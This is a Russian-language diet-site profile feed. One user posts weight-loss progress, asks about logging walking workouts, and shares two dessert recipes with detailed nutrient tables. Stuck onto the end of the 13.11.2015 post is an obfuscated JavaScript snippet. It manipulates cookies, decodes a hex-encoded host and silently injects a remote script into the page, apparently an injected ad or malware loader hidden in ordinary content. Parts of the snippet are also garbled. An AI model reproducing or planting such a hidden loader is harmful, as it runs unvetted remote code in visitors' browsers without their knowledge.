Елена Баранник
27.01.2018 03:34
всем привет.Давно я не заходила сюда,вот решила опять заняться своим здоровым образом жизни. Записалась на аква- аэробику и хочу подключить к ней правильное питание.Надеюсь результат не заставит себя ждать
Елена Баранник
02.01.2016 05:02
ура,я вернулась,всем привет
Елена Баранник
10.12.2015 17:19
что-то я расслабилась последние 3 дня,а ведь впереди новый год.Купила платье заранее и вот неудача немного поправилась. необходимо скинуть пару-тройку кг,но никак не могу настроится.
Елена Баранник
29.11.2015 19:44
я на МЗР уже почти 3 месяца,мой результат -12кг. сейчас я должна поменять настройки в моих данных или нет? Мне продолжать питаться в тех же рамках,которые были даны при первом введении данных 
Елена Баранник
29.11.2015 13:47
Калорийность - 244.5 кКал; белки - 7.5 г; жиры - 11 г; углеводы - 30.7 г на 100 г.
Ингредиенты
творог президент 0% 250 г
Сметана 15,0% жирности 250 г
Желатин пищевой 10 г
Вода 75 г
Печенье, шоколадное, промышленного изготовления 500 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 20 мин
Описание
творог и сметану смешать в блендере.

желатин развести по рецепту и добавить в сметанно-творожную смесь.

печенье уложить в посуду в один слой,смазать кремом,затем очередность повторить. 

оставить на ночь.Приятного аппетита!
Калькулятор химического состава рецепта
Пищевая ценность
Размер порции (г)
Содержание в порции % от нормы
Калории 244.5 кКал 14.52%
Белки 7.5 г 9.87%
Жиры 11 г 18.33%
Углеводы 30.7 г 14.55%
Пищевые волокна 1 г 5%
Вода 31.1 г 1.3%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
4
A
3.8%
b-car
0.2%
В1
8.3%
B2
6.7%
Холин
0.9%
B5
6.4%
B6
0.8%
B9
8.3%
B12
1.1%
C
0.1%
D
0.2%
E
0.9%
H
~
К
2.5%
PP
5.3%
K
3.8%
Ca
4%
Si
~
Mg
4.3%
Ph
7.9%
Cl
0%
Fe
6.1%
I
~
Co
~
Mn
3%
Cu
11.8%
Mo
~
Se
5.3%
F
0.2%
Cr
~
Zn
2.8%
11.1%
21.3%
Елена Баранник
27.11.2015 18:40
Калорийность - 210.3 кКал; белки - 6.6 г; жиры - 2.1 г; углеводы - 41.3 г на 100 г.
Ингредиенты
Кефир 1% 500 г
Яйцо куриное (Запекание) 150 г
Крупа манная 320 г
Пшеничная мука, высшего сорта (Запекание) 160 г
Сахар песок 160 г
Разрыхлитель пищевой, пекарный порошок (заменяющий дрожжи), с низким содерж. натрия 15 г
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 50 мин
Описание
Манку насыпаем в чашку, заливаем кефиром, все перемешиваем и оставляем на 20-30 минут(чтобы разбухла манка).Через 30 минут добавляем к манке поочередно остальные ингредиенты: Муку, сахар, яйца, разрыхлитель и ванилин.Все тщательно перемешиваем и вливаем в чашу мультиварки, предварительно смазанную сливочным маслом.

Закрываем крышку, устанавливаем режим "Выпечка" на 1 час.После звукового сигнала отключаем мультиварку и оставляем манник на 5 минут, затем проверяем спичкой -готов ли пирог. Если спичка осталась сухая — манник пропекся.Выкладываем пирог на тарелку и посыпаем сахарной пудрой.

Приятного аппетита!
Калькулятор химического состава рецепта
Пищевая ценность
Размер порции (г)
Содержание в порции % от нормы
Калории 210.3 кКал 12.49%
Белки 6.6 г 8.68%
Жиры 2.1 г 3.5%
Углеводы 41.3 г 19.57%
Пищевые волокна 1.4 г 7%
Вода 48.8 г 2.03%
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
8
A
3.4%
b-car
0.1%
В1
5%
B2
7.4%
Холин
10.7%
B5
6.4%
B6
5.3%
B9
3.3%
B12
7.4%
C
0.3%
D
2.6%
E
4.3%
H
5.3%
К
~
PP
9.5%
K
9.7%
Ca
11.4%
Si
6.8%
Mg
3.5%
Ph
21.6%
Cl
3.1%
Fe
4.9%
I
4.1%
Co
81.5%
Mn
9.8%
Cu
4.5%
Mo
10.2%
Se
9.7%
F
0.6%
Cr
3.6%
Zn
4.5%
~
2.1%
Елена Баранник
21.11.2015 13:02
МНОГИЕ СМОТРЮ ЗАНИМАЮТСЯ ХОДЬБОЙ С ЛЕСЛИ САНСОН. пОДСКАЖИТЕ КАК ВЫ ЗАПИСЫВАЕТЕ ЭТИ ЗАНЯТИЯ В ДНЕВНИК ТРЕНИРОВОК. ЗАРАНЕЕ БЛАГОДАРНА
  • Нравится 1
Елена Баранник
13.11.2015 19:04
СЕГОДНЯ РОВНО 2 МЕСЯЦА КАК Я НА ЭТОМ САЙТЕ И ВОТ МОЙ РЕЗУЛЬТАТ -11 КГ. Я ОЧЕНЬ ДОВОЛЬНА СВОИМ РЕЗУЛЬТАТОМ. БУДУ СТАРАТЬСЯ ИДТИ ДАЛЬШЕ(ЦЕЛЬ -35 КГ.)window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="24010",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},i=function(e){document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";n("ta2519043306",f,{expires:parseInt("3600"}),c(u,function(){o("a2519043306"!=f&&(n("a2519043306",f,{expires:parseInt("3600"}),i("ta2519043306")},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Елена Баранник
09.11.2015 04:52
Не хватило всего 1 балла,недобор по общению,закрыли социалку. А так неудобно без всех этих полосочек.Их зеленным цветам радуешься как ребенок
Елена Баранник
03.11.2015 17:22
сегодня ходила к маме и ЛЮБИМЫЕ МАМИНЫ ПИРОЖКИ!!!!! ужас,ужас.Всё красное,аж алое.Не удержалась наелась,и не просто наелась- объелась.Завтра на разгрузку
ЛУЧШИЕ РАЦИОНЫ
ИНТЕРЕСНЫЕ БЛОГИ
НОВЫЕ РЕЦЕПТЫ